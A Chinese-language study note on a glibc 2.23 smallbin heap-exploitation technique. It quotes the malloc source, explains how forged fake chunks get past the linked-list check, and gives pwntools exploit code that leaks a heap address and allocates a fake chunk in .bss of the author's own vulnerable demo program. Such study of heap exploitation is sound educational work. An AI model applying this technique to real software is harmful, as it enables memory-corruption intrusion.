一种基于smallbin的任意写的攻击手法 不过要求非常高 需要先修改ptr_addr处 以此来绕过检查 所以我感觉是非常鸡肋的一种手法 不过还是记录一下
源码分析#
if (in_smallbin_range (nb)) { idx = smallbin_index (nb); bin = bin_at (av, idx);
if ((victim = last (bin)) != bin) { if (victim == 0) /* initialization check */ malloc_consolidate (av); else { bck = victim->bk; if (__glibc_unlikely (bck->fd != victim)) { errstr = "malloc(): smallbin double linked list corrupted"; goto errout; } set_inuse_bit_at_offset (victim, nb); bin->bk = bck; bck->fd = bin;
if (av != &main_arena) victim->size |= NON_MAIN_ARENA; check_malloced_chunk (av, victim, nb); void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p; } } }这段源码调用是在申请smallbin中的free chunk时
idx = smallbin_index (nb);bin = bin_at (av, idx);这两句的作用在于获取smallbin的指针 idx的值为5 bin_at函数依据idx来搜寻对应的chunk

last (bin)实际上是一个宏定义
#define last(b) ((b)->bk)如果其与bin本身相等 则无法进入判断 wiki上的解释是说明此时链表为空 但是我测试如果利用malloc_consolidate来把fastbin放入smallbin 貌似也过不了判断
过了if后 还会进行一次判断 此时是判断small bin有没有进行初始化 如果初始化了就进入第二个分支
__glibc_unlikely (bck->fd != victim)如果绕过这个判断就是实现本次攻击手法的关键
对于bck->fd指向的地址做了检测 而bck是通过这条赋值的
bck = victim->bk;也就是说我们要构造成下面这样

之所以还要一个fake chunk2 是因为 如果只有fake chunk1 那么我们通过的是将attack_chunk从smallbin中申请出来的那次判断 此时plmalloc误判把fake chunk接到了 smallbin的倒数第二个 下次再次申请合适大小的chunk 就会申请到fake chunk
而要把fake chunk申请出来的话 就得再进行一次判断 也就用到了fake chunk2 不过这一点倒不是很需要担心 这需要对fake chunk的地址延申几个字长出来 用来充当fake chunk2就可以了
实际利用#
演示程序: 由我自己编写 包含UAF 堆溢出等漏洞
演示环境: ubuntu20 替换libc为libc2.23
fake_chunk1 = elf.bss(0x500)fake_chunk2 = elf.bss(0x700)add(0x100)#0add(0x10)#1add(0x10)#2delete(0)add(0x200)#3delete(1)delete(2)debug()show(2)io.recv()heap_addr = u64(io.recvuntil("\x0a",drop = True).ljust(8,b'\x00'))-0x110success("heap_addr :"+hex(heap_addr))首先需要泄露堆地址 以便我们进行fake chunk的构造

随后进行fakechunk1和fakechunk2的构造 为了省事我程序自带了一个任意写的函数 具体题目的话 需要自己根据情况来构造
payload = p64(0)+p64(fake_chunk1)edit(0,len(payload),payload)chunk_addr = heap_addrpayload = p64(0)*2 + p64(chunk_addr)+p64(fake_chunk2)write_somewhere(fake_chunk1,payload)payload = p64(0)*2 + p64(fake_chunk1)write_somewhere(fake_chunk2,payload)随后就是申请两个和smallbin chunk同样大小的chunk 第二个就会申请到fake chunk1的位置
add(0x100)#4add(0x100)#5
同时你可以注意到 fake chunk1和fake chunk2其实就隔一点字长就行 我上面还给空了0x100字节 其实就利用同一次任意写输入即可
总结#
我是对这个办法不太报希望 因为利用难度比较高 需要前提就具备一个已知地址任意写的漏洞 少数题目可能会提供 或者需要跟其他链配合利用 属于是单个存在没有什么用的链吧 我感觉 以后可能会打脸